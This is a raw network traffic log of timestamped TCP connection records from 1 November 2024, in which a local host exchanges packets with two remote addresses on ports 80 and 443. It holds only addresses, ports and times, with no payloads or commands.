Nov 1, 2024 12:34:25.814265013 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.814431906 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.814462900 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.814659119 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.814687014 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.814699888 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.814714909 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.814842939 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.814862013 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.814887047 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.815088034 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.815110922 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.818236113 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:25.818521976 CET	49993	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:25.823405027 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.823597908 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.823625088 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.823640108 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.823669910 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.823678970 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.823695898 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.823699951 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.823875904 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:25.824003935 CET	80	49993	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:25.824141026 CET	49993	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:25.824167967 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:25.824326038 CET	49993	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:25.828437090 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.830074072 CET	80	49993	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:26.463646889 CET	49987	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:26.725138903 CET	80	49993	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:26.725276947 CET	49993	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:26.737660885 CET	49993	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:26.742604971 CET	80	49993	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:27.020211935 CET	80	49993	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:27.020353079 CET	49993	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:27.503873110 CET	49993	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:27.504210949 CET	49994	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:27.510015965 CET	80	49994	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:27.510066032 CET	80	49993	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:27.510077000 CET	49994	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:27.510103941 CET	49993	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:27.510736942 CET	49994	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:27.515484095 CET	80	49994	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:27.560164928 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:27.560293913 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:27.560343027 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:27.564699888 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:27.564728022 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:27.578607082 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:27.578624964 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:27.578679085 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:27.579008102 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:27.579015970 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.196975946 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.197067976 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.198471069 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.198476076 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.198668003 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.200020075 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.200020075 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.200079918 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.459949970 CET	80	49994	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:28.460028887 CET	49994	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.460921049 CET	49994	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.465955973 CET	80	49994	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:28.696023941 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.696098089 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.696156025 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.696415901 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.696415901 CET	49995	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.696428061 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.696435928 CET	443	49995	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.698539019 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.703615904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:28.703711033 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.703902960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.708781958 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:28.747471094 CET	80	49994	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:28.747528076 CET	49994	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.849351883 CET	49994	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.849678040 CET	49997	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.854737043 CET	80	49994	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:28.854794979 CET	49994	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.854902983 CET	80	49997	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:28.854976892 CET	49997	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.855132103 CET	49997	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:28.860121012 CET	80	49997	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:28.962794065 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.962819099 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:28.962915897 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.964117050 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:28.964129925 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:29.569647074 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:29.569740057 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:29.571080923 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:29.571089983 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:29.571322918 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:29.614207029 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:29.628088951 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:29.628132105 CET	49998	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:29.628186941 CET	443	49998	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:29.636420012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636461973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636466980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636569023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636574984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636580944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636584044 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.636642933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636648893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636662006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636665106 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.636682034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.636704922 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.636760950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.641540051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.641547918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.641561031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.641657114 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.772907019 CET	80	49997	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.773093939 CET	49997	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.774590969 CET	49997	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.779419899 CET	80	49997	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.791246891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.791254997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.791285038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.791296959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.791367054 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.791373968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.791414976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.791421890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.791445971 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.791517019 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.792222977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.792229891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.792242050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.792277098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.792298079 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.792392969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.792895079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.793037891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.793100119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.793106079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.793117046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.793123007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.793144941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.793148994 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.793148994 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.793212891 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.794013023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.794020891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.794032097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.794099092 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.802474976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.802481890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.802515030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.802519083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.802608013 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.945868969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.945875883 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.945888996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.945971012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.945996046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946002960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946070910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946074963 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.946074963 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946118116 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.946234941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946240902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946248055 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946293116 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.946476936 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946482897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946495056 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946532011 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.946712971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946718931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.946801901 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.947160006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947166920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947237968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.947252989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947259903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947330952 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.947415113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947422028 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947432995 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947469950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.947494030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947499990 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947511911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.947557926 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.947999001 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.948045969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.948313951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.948319912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.948378086 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.948410034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.948415995 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.948429108 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.948435068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.948441982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.948465109 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.948528051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.949340105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.949346066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.949357986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.949362993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.949369907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.949376106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.949388027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.949414015 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.949459076 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.949459076 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.950225115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.950232029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.950238943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.950243950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.950257063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.950263023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.950274944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.950293064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.950305939 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:29.950989008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.950995922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:29.951077938 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.056818008 CET	80	49997	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.056910038 CET	49997	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.100819111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100827932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100845098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100851059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100862980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100869894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100874901 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100882053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100883007 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.100887060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100894928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100919008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100924015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100935936 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.100940943 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.100946903 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.100981951 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101015091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101020098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101032972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101038933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101058960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101088047 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101090908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101097107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101166010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101181984 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101197004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101202965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101213932 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101238012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101253986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101303101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101310015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101351023 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101442099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101449013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101461887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101468086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101511002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101532936 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101593971 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101613045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101619005 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101634026 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101639032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101661921 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101702929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101732969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101741076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101824045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101830006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101841927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101846933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101861000 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101872921 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101921082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101929903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101937056 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101943970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.101979971 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.101993084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102061033 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.102092981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102099895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102107048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102158070 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.102185011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102191925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102199078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102205038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102230072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102240086 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.102271080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102272987 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.102278948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.102336884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.106496096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106503010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106515884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106522083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106528997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106606007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106611967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106616974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.106616974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.106625080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106631994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106647968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106654882 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.106654882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106669903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106681108 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.106694937 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.106748104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.106925964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106931925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106940031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106944084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106951952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.106980085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107007027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107100964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107108116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107119083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107142925 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.107249975 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107256889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107268095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.107274055 CET	80	49996	185.215.113.16	192.168.2.7
